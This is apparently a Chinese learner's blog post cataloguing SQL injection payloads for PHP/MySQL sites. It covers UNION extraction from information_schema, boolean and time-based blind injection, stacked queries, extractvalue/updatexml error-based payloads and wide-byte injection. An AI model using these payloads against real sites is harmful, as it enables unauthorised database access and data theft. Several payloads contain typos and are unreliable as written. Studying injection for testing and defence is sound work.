SQL注入学习part07:(SQL注入语句总结)

写在前面:
此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出。欢迎各位前来交流。(部分材料来源网络,若有侵权,立即删除)

整数型和字符型

整数型

  • 对应php语句
select * from tablename where id = $_GET['id']
  • 如果是整数型就不用考虑闭合符的事情了

字符型

PHP源码:

select * from tableName where username='$_GET['username']' and username='$_GET['password']' 
  • 字符型的是存在闭合符的后面讨论

判断方法

  • 测试是否为整数型的语句为?id=2-1
  • 判断一下返回结果是否进行了2-1的运算,如果进行运算返回1对应的结果,则是整数型;未进行运算返回2对应的结果就是字符型

闭合符

单引号

  • 直接单引号加#进行测试,或者编码一下%27%23,返回结果正常就是单引号

双引号

  • 直接输入双引号,如果报错,再输入一个注释符,返回结果正常闭合符就是双引号

括号

  • 这个会比较少见

单双引号加上括号

  • 如果在确定存在闭合符的情况下,输入单双引号报错,增加注释符号还是报错,说明注释符中存在括号闭合,那就在单双引号后面添加括号,一个不行就添加两个

判断字段数

order by 1
  • 二分法判断
  • 根据页面返回结果,来判断站点中的字段数目

判断字段回显位置

  • 使用联合查询
union select 1,2,3,4,5,6,7,8,9,10,11#
  • 联合查询时记得把前面的查询为空
  • 来展示对应字段的显示位置
  • 有了回显位置后就可以在后续的查询过程中把查询结果在回显位置处展示出来

判断数据库相关信息

查看当前数据库版本

and 1=2 union select version(),2,3

查看所有数据库

and 1=2 union select (select group_concat(schema_name)from information schema.schemata),2,3

查看所有表名

union selcect (select group_concat(table_name)from information_schema.tables),2,3

查询字段内容

union select(select group_concat(column_name)from information_schema.columns),2,3

查询指定数据库中的所有表

union select 1,count(*),cooncat((select group_concat(table_name) from information_schema.tables where table_schema="challenges"),floor(2*rand()))a from information_schema.colunms group by a;%23

查询指定数据库指定表中的指定列

union select 1,count(*),concat((select group_concat(column_name) from information_schema.columns where rables_name="  " ),floor(2*rand()))a from information_shcema.columns group by a;%23 

查询指定列中的字段

union select 1count(*),concat((select "   " from DBname.tablenames ),floor(2*rand()))a from information_schema.columns group by a;%23

各种注入

布尔盲注

  • 布尔盲注通常用于正确结果会显示,错误结果一律不显示的情况

常用函数

char()           #解ASCII码
mid()            #截取字符串
substr()         #同上
count()          #计算查询结果的行数
concat()         #查询结果合并但保持原有行数
group_concat()   #查询结果合并但都放在一行中
ascii()          #查询ascii码

二分法猜数据库名称长度

id=1 and (length(database()))>100
id=1 and (length(database()))>1

依次猜测字符

and ascii(mid(database(),1,1))>1
and ascii(mid(database(),2,1))>1
  • 二分法擦测

查询数据库中表的数量

and (select count(table_name)from information_schema.tables where tables_schema=database())>1and (select count(table_name)from information_schema.tables where tables_schema=database())>10

查询表名称的长度

and (select length(table_name)from information_schema.tables where tables_schema=database()limit 0,1)>10

依次查询表的名称字符

and ascii(mid((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>1

查询特定表里有几个字段

and(select count(column_name)from information_schema.columns where table_name = ‘表名’ and table_schema = database())>2

查询字段长度

and length((select column_name from information_schema.columns where table_name=‘atelier’ and table_schema= database()limit 0,1))>1

依次查询字段的字符

and ascii(mid((select column_name from information_schema.columns where table_schema = ‘db83231_asfaa’ and TABLE_NAME =‘atelier’ limit 0,1),1,1))>105

查询字段的行数

and (select count(*) from 数据库名.表名)>4

查询指定字段的行数

and (select count(字段名)from 数据库名.表名)>7 

查询字段内容

length((select username from security.users limit 0,1))>10ascii(mid((select username from security.user limit 0,1),1,1))>100

时间盲注

  • 时间盲注一般用于正确和错误结果都不显示的情况
sleep(5)
if() case 
  • 基本的思路就是在布尔盲注的基础上增加时间函数从而对返回时间进行处理,基本上就是用and 连接然后构造布尔逻辑式子
select * from user where id= 1 and case length(version())>10 when 1 then sleep(3) else 0 end;

堆叠注入

  • 源代码使用musqli_multi_quiery();多语句查询函数,即可一次执行多条sql语句
  • 堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开。而堆叠查询注入攻击就是利用此特点,在第二条语句中构造自己要执行的语句。

报错注入

  • 即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中
  • 这里的错误显示是错误语句显示

extractvalue()

  • extractvalue(xml_frag,xpath_expr)函数接受两个参数,第一个为XML标记内容,也就是查询的内容,第二个为XPATH路径,也就是查询的路径。
extractvalue(1,concat(0x7e,(select user()),0x7e));
/?id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e),1)--+

updatexml()

  • updatexml(xml_target,xpath_expr,new_xml)接受三个参数,此函数将XML标记的给定片段的单个部分替换为xml_target新的XML片段new_xml,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。与extractvalue()类似,如果XPATH写入错误格式,就会报错,并且返回我们写入的非法内容。
select updatexml(1,concat(0x7e,(select user()),0x7e),1);
/?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--

根据提交数据方式分类

GET注入

  • 常规操作

POST注入

  • 登录界面操作

COOKIE注入

  • 抓包改包

HTTP注入

  • 抓包改包

其他特殊注入方法

宽字节注入

  • PHP中的函数magic_quotes_gpc,作用是将输入的特殊字符前面统统加一个 \ 符号
  • 前提;数据库必须是其他编码,比如utf-8 , gbk ,不能是英语编码(ascii)就行
  • 根据编码的原理在前面添加一个%df可以连同斜杠一起转译

未完待续

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值